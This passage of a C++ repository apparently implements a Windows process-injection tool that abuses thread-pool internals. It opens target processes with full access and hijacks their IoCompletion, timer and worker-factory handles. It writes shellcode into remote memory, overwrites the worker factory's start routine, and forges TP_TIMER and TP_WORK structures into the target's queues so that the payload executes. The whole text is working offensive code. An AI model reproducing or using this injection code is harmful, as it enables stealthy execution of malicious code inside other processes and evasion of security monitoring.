40 | if (!isInitialized || remotePayload == nullptr || hijackType != TpIoPort) {
41 | std::cerr << "{!!} Invalid sub-argument passed!" << std::endl;
42 | return false;
43 | }
44 |
45 | return InjectViaAlpc(processHandle, remotePayload, handleToHijack);
46 | }
47 |
48 | bool Process::ProcessJobInject()
49 | {
50 | if (!isInitialized || remotePayload == nullptr || hijackType != TpIoPort) {
51 | std::cerr << "{!!} Invalid sub-argument passed!" << std::endl;
52 | return false;
53 | }
54 |
55 | return InjectViaJobCallback(processHandle, remotePayload, handleToHijack);
56 | }
57 |
58 | bool Process::ProcessWaitInject()
59 | {
60 | if (!isInitialized || remotePayload == nullptr || hijackType != TpIoPort) {
61 | std::cerr << "{!!} Invalid sub-argument passed!" << std::endl;
62 | return false;
63 | }
64 |
65 | return InjectViaTpWait(processHandle, remotePayload, handleToHijack);
66 | }
67 |
68 | bool Process::ProcessTpIoInject()
69 | {
70 | if (!isInitialized || remotePayload == nullptr || hijackType != TpIoPort) {
71 | std::cerr << "{!!} Invalid sub-argument passed!" << std::endl;
72 | return false;
73 | }
74 |
75 | return InjectViaTpIo(processHandle, remotePayload, handleToHijack);
76 | }
77 |
78 | bool Process::ProcessTpDirectInject()
79 | {
80 | if (!isInitialized || remotePayload == nullptr || hijackType != TpIoPort) {
81 | std::cerr << "{!!} Invalid sub-argument passed!" << std::endl;
82 | return false;
83 | }
84 |
85 | return InjectViaTpDirect(processHandle, remotePayload, handleToHijack);
86 | }
87 |
88 | bool Process::ProcessTimerInject()
89 | {
90 | if (!isInitialized || remotePayload == nullptr || hijackType != TpTimer) {
91 | std::cerr << "{!!} Invalid sub-argument passed!" << std::endl;
92 | return false;
93 | }
94 |
95 | HANDLE hWorkerFactory = hijackProcessWorkerFactory(processHandle);
96 | if (hWorkerFactory == INVALID_HANDLE_VALUE) {
97 | return false;
98 | }
99 |
100 | return InjectViaTpTimer(hWorkerFactory, handleToHijack, remotePayload, processHandle);
101 | }
102 |
103 | bool Process::ProcessWorkInject()
104 | {
105 | if (!isInitialized || remotePayload == nullptr || hijackType != TpWorkerFactory) {
106 | std::cerr << "{!!} Invalid sub-argument passed!" << std::endl;
107 | return false;
108 | }
109 |
110 | return InjectViaTpWork(processHandle, remotePayload, handleToHijack);
111 | }
112 |
113 | bool Process::ProcessWorkerFactoryInject()
114 | {
115 | if (!isInitialized || hijackType != TpWorkerFactory) {
116 | std::cerr << "{!!} Invalid sub-argument passed!" << std::endl;
117 | return false;
118 | }
119 |
120 | return InjectViaWorkerFactoryStartRoutine(processHandle, handleToHijack, Shellcode, sizeof(Shellcode));
121 | }
122 |
123 | bool Process::init()
124 | {
125 | //
126 | // Find Target process
127 | //
128 | processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
129 | if (processHandle == nullptr) {
130 | std::wcerr << L"{!!} Failed to get a handle to process with PID: " << PID << std::endl;
131 | return false;
132 | }
133 |
134 | //
135 | // Hijack Handle
136 | //
137 | switch (this->hijackType) {
138 | case TpIoPort:
139 | handleToHijack = hijackProcessIoPort(processHandle);
140 | break;
141 | case TpTimer:
142 | handleToHijack = hijackProcessTimerQueue(processHandle);
143 | break;
144 | case TpWorkerFactory:
145 | handleToHijack = hijackProcessWorkerFactory(processHandle);
146 | break;
147 | default:
148 | return false;
149 | }
150 |
151 | if (handleToHijack == INVALID_HANDLE_VALUE) {
152 | std::cerr << "{!!} Failed to hijack process handle needed." << std::endl;
153 | return false;
154 | }
155 |
156 | std::cout << "{+} Initialization Successful." << std::endl;
157 | isInitialized = true;
158 | return isInitialized;
159 | }
160 |
161 | Process::~Process()
162 | {
163 | if (handleToHijack) {
164 | CloseHandle(handleToHijack);
165 | }
166 |
167 | if (processHandle) {
168 | CloseHandle(processHandle);
169 | }
170 | }
--------------------------------------------------------------------------------
/src/TimerInject.cpp:
--------------------------------------------------------------------------------
1 | #include "../include/Injection.hpp"
2 |
3 | bool InjectViaTpTimer(_In_ HANDLE hWorkerFactory, _In_ HANDLE hTimer, _In_ void* payloadAddress, _In_ HANDLE targetProcess)
4 | {
5 | fnNtQueryInformationWorkerFactory pQueryWorkerFactory = nullptr;
6 | long long timeOutInterval = -10000000;
7 | PFULL_TP_TIMER remoteTpTimer = nullptr;
8 | PFULL_TP_TIMER pFullTpTimer = nullptr;
9 | LARGE_INTEGER dueTime = { 0 };
10 | WORKER_FACTORY_BASIC_INFORMATION workerFactoryInfo = { 0 };
11 | fnNtSetTimer2 pNtSetTimer2 = nullptr;
12 | NTSTATUS status = ERROR_SUCCESS;
13 |
14 | pNtSetTimer2 = reinterpret_cast(
15 | GetProcAddress(GetModuleHandleW(L"NTDLL.DLL"),"NtSetTimer2"));
16 |
17 | pQueryWorkerFactory = reinterpret_cast(
18 | GetProcAddress(GetModuleHandleW(L"NTDLL.DLL"), "NtQueryInformationWorkerFactory"));
19 |
20 | if (pQueryWorkerFactory == nullptr || pNtSetTimer2 == nullptr) {
21 | std::cerr << "{!!} Failed to get NtQueryInformationWorkerFactory function pointer." << std::endl;
22 | return false;
23 | }
24 |
25 | //
26 | // Get worker factory basic information
27 | //
28 | status = pQueryWorkerFactory(
29 | hWorkerFactory,
30 | WorkerFactoryBasicInformation,
31 | &workerFactoryInfo,
32 | sizeof(WORKER_FACTORY_BASIC_INFORMATION),
33 | nullptr
34 | );
35 |
36 | if (status != ERROR_SUCCESS) {
37 | NTAPI_ERR(NtQueryInformationWorkerFactory, status);
38 | return false;
39 | }
40 |
41 | //
42 | // Create callback structure associated with our payload
43 | //
44 | pFullTpTimer = reinterpret_cast(
45 | CreateThreadpoolTimer(
46 | static_cast(payloadAddress),
47 | nullptr,
48 | nullptr));
49 |
50 | if (pFullTpTimer == nullptr) {
51 | WIN32_ERR(CreateThreadPoolTimer);
52 | return false;
53 | }
54 |
55 | //
56 | // Allocate memory for FULL_TP_TIMER structure
57 | //
58 | remoteTpTimer = static_cast(VirtualAllocEx(
59 | targetProcess,
60 | nullptr,
61 | sizeof(FULL_TP_TIMER),
62 | MEM_COMMIT | MEM_RESERVE,
63 | PAGE_READWRITE
64 | ));
65 |
66 | if (remoteTpTimer == nullptr) {
67 | WIN32_ERR(VirtualAllocEx);
68 | return false;
69 | }
70 |
71 | //
72 | // Modify some important members, and then write the structure
73 | //
74 | pFullTpTimer->Work.CleanupGroupMember.Pool = static_cast(workerFactoryInfo.StartParameter);
75 | pFullTpTimer->DueTime = timeOutInterval;
76 |
77 | pFullTpTimer->WindowEndLinks.Key = timeOutInterval;
78 | pFullTpTimer->WindowStartLinks.Key = timeOutInterval;
79 |
80 | pFullTpTimer->WindowStartLinks.Children.Flink = &remoteTpTimer->WindowStartLinks.Children;
81 | pFullTpTimer->WindowStartLinks.Children.Blink = &remoteTpTimer->WindowStartLinks.Children;
82 |
83 | pFullTpTimer->WindowEndLinks.Children.Flink = &remoteTpTimer->WindowEndLinks.Children;
84 | pFullTpTimer->WindowEndLinks.Children.Blink = &remoteTpTimer->WindowEndLinks.Children;
85 |
86 | if (!WriteProcessMemory(
87 | targetProcess,
88 | remoteTpTimer,
89 | pFullTpTimer,
90 | sizeof(FULL_TP_TIMER),
91 | nullptr
92 | )) {
93 | WIN32_ERR(WriteProcessMemory(First Call));
94 | return false;
95 | }
96 |
97 | //
98 | // Change WindowStart.Root and WindowEnd.Root to point to the TP_TIMER callback
99 | //
100 | auto pTpTimerWindowStartLinks = &remoteTpTimer->WindowStartLinks;
101 | if (!WriteProcessMemory(
102 | targetProcess,
103 | &pFullTpTimer->Work.CleanupGroupMember.Pool->TimerQueue.AbsoluteQueue.WindowStart.Root,
104 | reinterpret_cast(&pTpTimerWindowStartLinks),
105 | sizeof(pTpTimerWindowStartLinks),
106 | nullptr
107 | )) {
108 | WIN32_ERR(WriteProcessMemory(Second Call));
109 | return false;
110 | }
111 |
112 | auto pTpTimerWindowEndLinks = &remoteTpTimer->WindowEndLinks;
113 | if (!WriteProcessMemory(
114 | targetProcess,
115 | &pFullTpTimer->Work.CleanupGroupMember.Pool->TimerQueue.AbsoluteQueue.WindowEnd.Root,
116 | reinterpret_cast(&pTpTimerWindowEndLinks),
117 | sizeof(pTpTimerWindowEndLinks),
118 | nullptr
119 | )) {
120 | WIN32_ERR(WriteProcessMemory(Third Call));
121 | return false;
122 | }
123 |
124 | //
125 | // Trigger the callback
126 | //
127 | dueTime.QuadPart = timeOutInterval;
128 | T2_SET_PARAMETERS timerParameters = { 0 };
129 |
130 | status = pNtSetTimer2(
131 | hTimer,
132 | &dueTime,
133 | NULL,
134 | &timerParameters
135 | );
136 |
137 | if(status != ERROR_SUCCESS) {
138 | NTAPI_ERR(NtSetTimer2, status);
139 | return false;
140 | }
141 |
142 | return true;
143 | }
144 |
--------------------------------------------------------------------------------
/src/Utils.cpp:
--------------------------------------------------------------------------------
1 | #include "../include/Utils.hpp"
2 |
3 | HANDLE hijackProcessHandle(_In_ HANDLE targetProcess, _In_ const wchar_t* handleTypeName, _In_ uint32_t desiredAccess)
4 | {
5 | fnNtQueryInformationProcess pQueryProcInfo = nullptr;
6 | PPROCESS_HANDLE_SNAPSHOT_INFORMATION pProcessSnapshotInfo = nullptr;
7 | PPUBLIC_OBJECT_TYPE_INFORMATION objectInfo = nullptr;
8 | fnNtQueryObject pQueryObject = nullptr;
9 |
10 | uint32_t totalHandles = 0;
11 | uint32_t handleInfoSize = 0;
12 | NTSTATUS status = 0x00;
13 | HANDLE duplicatedHandle = 0;
14 | bool handleFound = false;
15 | uint32_t objectTypeReturnLen = 0;
16 |
17 | // NtQueryInformationProcess
18 | pQueryProcInfo = reinterpret_cast(
19 | GetProcAddress(GetModuleHandleW(L"NTDLL.DLL"), "NtQueryInformationProcess"));
20 |
21 | // NtQueryObject
22 | pQueryObject = reinterpret_cast(
23 | GetProcAddress(GetModuleHandleW(L"NTDLL.DLL"), "NtQueryObject"));
24 |
25 | if (pQueryProcInfo == nullptr || pQueryObject == nullptr) {
26 | duplicatedHandle = INVALID_HANDLE_VALUE;
27 | goto FUNC_END;
28 | }
29 |
30 | std::wcout << L"{+} Attempting to hijack handle of type: " << handleTypeName << std::endl;
31 | if (!GetProcessHandleCount(targetProcess, (PDWORD)&totalHandles)) { // Total number of handles we need to account for
32 | WIN32_ERR(GetProcessHandleCount);
33 | duplicatedHandle = INVALID_HANDLE_VALUE;
34 | goto FUNC_END;
35 | }
36 |
37 | handleInfoSize = sizeof(PROCESS_HANDLE_SNAPSHOT_INFORMATION) + ((totalHandles + 15) * sizeof(PROCESS_HANDLE_TABLE_ENTRY_INFO));
38 | pProcessSnapshotInfo = static_cast(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, handleInfoSize));
39 |
40 | if (pProcessSnapshotInfo == nullptr) {
41 | WIN32_ERR(Process Snapshot Info Heap Alloc);
42 | duplicatedHandle = INVALID_HANDLE_VALUE;
43 | goto FUNC_END;
44 | }
45 |
46 | status = pQueryProcInfo(
47 | targetProcess,
48 | (PROCESSINFOCLASS)51,
49 | pProcessSnapshotInfo,
50 | handleInfoSize,
51 | NULL
52 | );
53 |
54 | if (status != ERROR_SUCCESS) {
55 | NTAPI_ERR(NtQueryInformationProcess, status);
56 | duplicatedHandle = INVALID_HANDLE_VALUE;
57 | goto FUNC_END;
58 | }
59 |
60 | for (size_t i = 0; i < pProcessSnapshotInfo->NumberOfHandles; i++) {
61 | if (!DuplicateHandle(targetProcess,
62 | pProcessSnapshotInfo->Handles[i].HandleValue,
63 | GetCurrentProcess(),
64 | &duplicatedHandle,
65 | desiredAccess,
66 | FALSE,
67 | NULL
68 | )) {
69 | continue;
70 | }
71 |
72 | // retrieve correct buffer size first
73 | pQueryObject(duplicatedHandle,
74 | ObjectTypeInformation,
75 | NULL,
76 | NULL,
77 | (PULONG)&objectTypeReturnLen
78 | );
79 |
80 | objectInfo = static_cast(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, objectTypeReturnLen));
81 | if (objectInfo == nullptr) {
82 | break;
83 | }
84 |
85 | status = pQueryObject(duplicatedHandle,
86 | ObjectTypeInformation,
87 | objectInfo,
88 | objectTypeReturnLen,
89 | NULL
90 | );
91 |
92 | if (status != ERROR_SUCCESS) {
93 | NTAPI_ERR(NtQueryObject, status);
94 | break;
95 | }
96 |
97 | if (wcsncmp(handleTypeName, objectInfo->TypeName.Buffer, wcslen(handleTypeName)) == 0) {
98 | std::wcout << L"{!} found \"" << objectInfo->TypeName.Buffer << L"\" handle! Hijacking successful." << std::endl;
99 | handleFound = true;
100 | break;
101 | }
102 |
103 | HeapFree(GetProcessHeap(), 0, objectInfo);
104 | }
105 |
106 | if (!handleFound) {
107 | duplicatedHandle = INVALID_HANDLE_VALUE;
108 | }
109 |
110 | FUNC_END:
111 | if (pProcessSnapshotInfo) {
112 | HeapFree(GetProcessHeap(), 0, pProcessSnapshotInfo);
113 | }
114 | if (objectInfo) {
115 | HeapFree(GetProcessHeap(), 0, objectInfo);
116 | }
117 |
118 | return duplicatedHandle;
119 | }
120 |
121 | // helpers
122 | HANDLE hijackProcessIoPort(HANDLE processHandle)
123 | {
124 | return hijackProcessHandle(processHandle, L"IoCompletion", IO_COMPLETION_ALL_ACCESS);
125 | }
126 |
127 | HANDLE hijackProcessTimerQueue(HANDLE processHandle)
128 | {
129 | return hijackProcessHandle(processHandle, L"IRTimer", TIMER_ALL_ACCESS);
130 | }
131 |
132 | HANDLE hijackProcessWorkerFactory(HANDLE processHandle)
133 | {
134 | return hijackProcessHandle(processHandle, L"TpWorkerFactory", WORKER_FACTORY_ALL_ACCESS);
135 | }
136 |
137 | bool writePayloadIntoProcess(_In_ HANDLE hProcess, _In_ void* pPayload, _In_ size_t payloadSize, _Out_ void** pRemoteAddress)
138 | {
139 | void* remote = VirtualAllocEx(hProcess,
140 | nullptr,
141 | payloadSize,
142 | MEM_COMMIT | MEM_RESERVE,
143 | PAGE_READWRITE);
144 |
145 | if (remote == nullptr) {
146 | WIN32_ERR(VirtualAllocEx);
147 | return false;
148 | }
149 |
150 | size_t bytesWritten = 0;
151 | if (!WriteProcessMemory(
152 | hProcess,
153 | remote,
154 | pPayload,
155 | payloadSize,
156 | &bytesWritten)
157 | || bytesWritten != payloadSize)
158 | {
159 | WIN32_ERR(WriteProcessMemory);
160 | std::cout << "Bytes written :" << bytesWritten << " | Payload Size :" << payloadSize << std::endl;
161 | return false;
162 | }
163 |
164 | uint32_t oldProtect;
165 | if (!VirtualProtectEx(hProcess, remote, payloadSize, PAGE_EXECUTE_READ, (PDWORD)&oldProtect)) {
166 | WIN32_ERR(VirtualProtectEx);
167 | return false;
168 | }
169 |
170 | *pRemoteAddress = remote;
171 | std::cout << "{+} Wrote Shellcode Into Remote Process: " << remote << std::endl;
172 | return true;
173 | }
--------------------------------------------------------------------------------
/src/WorkInject.cpp:
--------------------------------------------------------------------------------
1 | #include "../include/Injection.hpp"
2 |
3 | //
4 | // Note: The worker factory's start routine cannot be overwritten.
5 | // We can, however, write the payload at the location that the start routine points to.
6 | //
7 | bool InjectViaWorkerFactoryStartRoutine(_In_ HANDLE targetProcess, _In_ HANDLE hWorkerFactory, _In_ void* localPayloadAddress, _In_ size_t payloadSize)
8 | {
9 | NTSTATUS status = ERROR_SUCCESS;
10 | uint32_t oldProtect = 0;
11 | WORKER_FACTORY_BASIC_INFORMATION workerFactoryInfo = { 0 };
12 | fnNtSetInformationWorkerFactory pNtSetInformationWorkerFactory = nullptr;
13 | fnNtQueryInformationWorkerFactory pNtQueryInformationWorkerFactory = nullptr;
14 | uint32_t threadMinimumCount = 0;
15 |
16 | //
17 | // Get function ptrs
18 | //
19 | pNtQueryInformationWorkerFactory = reinterpret_cast(
20 | GetProcAddress(GetModuleHandleW(L"NTDLL.DLL"),
21 | "NtQueryInformationWorkerFactory"));
22 |
23 | pNtSetInformationWorkerFactory = reinterpret_cast(
24 | GetProcAddress(GetModuleHandleW(L"NTDLL.DLL"),
25 | "NtSetInformationWorkerFactory"));
26 |
27 | if (pNtSetInformationWorkerFactory == nullptr || pNtQueryInformationWorkerFactory == nullptr) {
28 | std::cerr << "{!!} Failed to get function pointers" << std::endl;
29 | return false;
30 | }
31 |
32 | //
33 | // Get Start Routine of the worker factory
34 | //
35 | status = pNtQueryInformationWorkerFactory(
36 | hWorkerFactory,
37 | WorkerFactoryBasicInformation,
38 | &workerFactoryInfo,
39 | sizeof(WORKER_FACTORY_BASIC_INFORMATION),
40 | nullptr
41 | );
42 |
43 | if (status != ERROR_SUCCESS) {
44 | NTAPI_ERR(NtQueryInformationWorkerFactory, status);
45 | return false;
46 | }
47 |
48 | //
49 | // Change start routine to R/W and copy payload
50 | //
51 | if (!VirtualProtectEx(
52 | targetProcess,
53 | workerFactoryInfo.StartRoutine,
54 | payloadSize,
55 | PAGE_READWRITE,
56 | (PDWORD)&oldProtect
57 | )) {
58 | WIN32_ERR(VirtualProtectEx(First Call));
59 | return false;
60 | }
61 |
62 | if (!WriteProcessMemory(
63 | targetProcess,
64 | workerFactoryInfo.StartRoutine,
65 | localPayloadAddress,
66 | payloadSize,
67 | nullptr
68 | )) {
69 | WIN32_ERR(WriteProcessMemory);
70 | return false;
71 | }
72 |
73 | if (!VirtualProtectEx( //< Revert protections
74 | targetProcess,
75 | workerFactoryInfo.StartRoutine,
76 | payloadSize,
77 | oldProtect,
78 | (PDWORD)&oldProtect
79 | )) {
80 | WIN32_ERR(VirtualProtectEx(Second Call));
81 | return false;
82 | }
83 |
84 | //
85 | // Increase minimum number of threads in the pool
86 | //
87 |
88 | threadMinimumCount = workerFactoryInfo.TotalWorkerCount + 1;
89 | status = pNtSetInformationWorkerFactory(
90 | hWorkerFactory,
91 | WorkerFactoryThreadMinimum,
92 | &threadMinimumCount,
93 | sizeof(uint32_t)
94 | );
95 |
96 | if (status != ERROR_SUCCESS) {
97 | NTAPI_ERR(NtSetInformationWorkerFactory, status);
98 | return false;
99 | }
100 |
101 | return true;
102 | }
103 |
104 | //
105 | // Injecting a work item directly into the task queue will not cause it to be
106 | // executed right away, even at a high priority level. Once a check is done however for available tasks,
107 | // the payload will run. From my experience this takes around 25-30 seconds.
108 | //
109 | bool InjectViaTpWork(_In_ HANDLE targetProcess, _In_ void* payloadAddress, _In_ HANDLE hWorkerFactory)
110 | {
111 | PFULL_TP_POOL pFullTpPoolBuffer = nullptr;
112 | size_t bytesRead = 0;
113 | LIST_ENTRY* taskQueueHighPriorityList = nullptr;
114 | PFULL_TP_WORK pRemoteFullTpWork = nullptr;
115 | LIST_ENTRY* pRemoteWorkItemTaskNode = nullptr;
116 | PFULL_TP_WORK pFullTpWork = nullptr;
117 | WORKER_FACTORY_BASIC_INFORMATION workerFactoryInfo = { 0 };
118 | fnNtQueryInformationWorkerFactory pNtQueryInformationWorkerFactory = nullptr;
119 |
120 | NTSTATUS status = 0x00;
121 | bool state = true;
122 |
123 | pNtQueryInformationWorkerFactory = reinterpret_cast(
124 | GetProcAddress(GetModuleHandleW(L"NTDLL.DLL"),
125 | "NtQueryInformationWorkerFactory"));
126 |
127 | if (pNtQueryInformationWorkerFactory == nullptr) {
128 | std::cerr << "{!!} Failed to get NtQueryInformationWorkerFactory function pointer." << std::endl;
129 | return false;
130 | }
131 |
132 | //
133 | // Create FULL_TP_WORK callback structure
134 | //
135 | pFullTpWork = reinterpret_cast(CreateThreadpoolWork(
136 | static_cast(payloadAddress),
137 | nullptr,
138 | nullptr)
139 | );
140 |
141 | if (pFullTpWork == nullptr) {
142 | WIN32_ERR(CreateThreadPoolWork);
143 | return false;
144 | }
145 |
146 | //
147 | // Query worker factory for StartRoutine value (head of linked list work queue)
148 | //
149 | status = pNtQueryInformationWorkerFactory(
150 | hWorkerFactory,
151 | WorkerFactoryBasicInformation,
152 | &workerFactoryInfo,
153 | sizeof(WORKER_FACTORY_BASIC_INFORMATION),
154 | nullptr
155 | );
156 |
157 | if (status != ERROR_SUCCESS) {
158 | NTAPI_ERR(NtQueryInformationWorkerFactory, status);
159 | state = false;
160 | goto FUNC_CLEANUP;
161 | }
162 |
163 | //
164 | // Allocate Heap Buffer for TP_POOL structure and copy it
165 | //
166 | pFullTpPoolBuffer = static_cast(HeapAlloc(
167 | GetProcessHeap(),
168 | HEAP_ZERO_MEMORY,
169 | sizeof(FULL_TP_POOL))
170 | );
171 |
172 | if (pFullTpPoolBuffer == nullptr) {
173 | WIN32_ERR(HeapAlloc);
174 | state = false;
175 | goto FUNC_CLEANUP;
176 | }
177 |
178 | if (!ReadProcessMemory(
179 | targetProcess,
180 | workerFactoryInfo.StartParameter,
181 | pFullTpPoolBuffer,
182 | sizeof(FULL_TP_POOL),
183 | &bytesRead
184 | )) {
185 | WIN32_ERR(ReadProcessMemory);
186 | state = false;
187 | goto FUNC_CLEANUP;
188 | }
189 |
190 | //
191 | // Associate the callback with the process' TP_POOL
192 | //
193 | taskQueueHighPriorityList = &pFullTpPoolBuffer->TaskQueue[TP_CALLBACK_PRIORITY_HIGH]->Queue;
194 |
195 | pFullTpWork->CleanupGroupMember.Pool = static_cast(workerFactoryInfo.StartParameter);
196 | pFullTpWork->Task.ListEntry.Flink = taskQueueHighPriorityList;
197 | pFullTpWork->Task.ListEntry.Blink = taskQueueHighPriorityList;
198 | pFullTpWork->WorkState.Exchange = 0x2;
199 |
200 | //
201 | // Write the callback structure into the process
202 | //
203 | pRemoteFullTpWork = static_cast(VirtualAllocEx(
204 | targetProcess,
205 | nullptr,
206 | sizeof(FULL_TP_WORK),
207 | MEM_COMMIT | MEM_RESERVE,
208 | PAGE_READWRITE)
209 | );
210 |
211 | if (pRemoteFullTpWork == nullptr) {
212 | WIN32_ERR(VirtualAllocEx);
213 | state = false;
214 | goto FUNC_CLEANUP;
215 | }
216 |
217 | if (!WriteProcessMemory(
218 | targetProcess,
219 | pRemoteFullTpWork,
220 | pFullTpWork,
221 | sizeof(FULL_TP_WORK),
222 | nullptr
223 | )) {
224 | WIN32_ERR(WriteProcessMemory(First Call));
225 | state = false;
226 | goto FUNC_CLEANUP;
227 | }
228 |
229 | //
230 | // Modify the TP_POOL linked list Flinks and Blinks to point to the malicious task
231 | //
232 | pRemoteWorkItemTaskNode = &pRemoteFullTpWork->Task.ListEntry;
233 |
234 | if (!WriteProcessMemory(
235 | targetProcess,
236 | &pFullTpPoolBuffer->TaskQueue[TP_CALLBACK_PRIORITY_HIGH]->Queue.Flink,
237 | &pRemoteWorkItemTaskNode,
238 | sizeof(pRemoteWorkItemTaskNode),
239 | nullptr
240 | )) {
241 | WIN32_ERR(WriteProcessMemory(Second Call));
242 | state = false;
243 | goto FUNC_CLEANUP;
244 | }
245 |
246 | if (!WriteProcessMemory(
247 | targetProcess,
248 | &pFullTpPoolBuffer->TaskQueue[TP_CALLBACK_PRIORITY_HIGH]->Queue.Blink,
249 | &pRemoteWorkItemTaskNode,
250 | sizeof(pRemoteWorkItemTaskNode),
251 | nullptr
252 | )) {
253 | WIN32_ERR(WriteProcessMemory(Third Call));
254 | state = false;
255 | }
256 |
257 | FUNC_CLEANUP:
258 | if (pFullTpPoolBuffer) {
259 | HeapFree(GetProcessHeap(), 0, pFullTpPoolBuffer);
260 | }
261 |
262 | return state;
263 | }
264 |
--------------------------------------------------------------------------------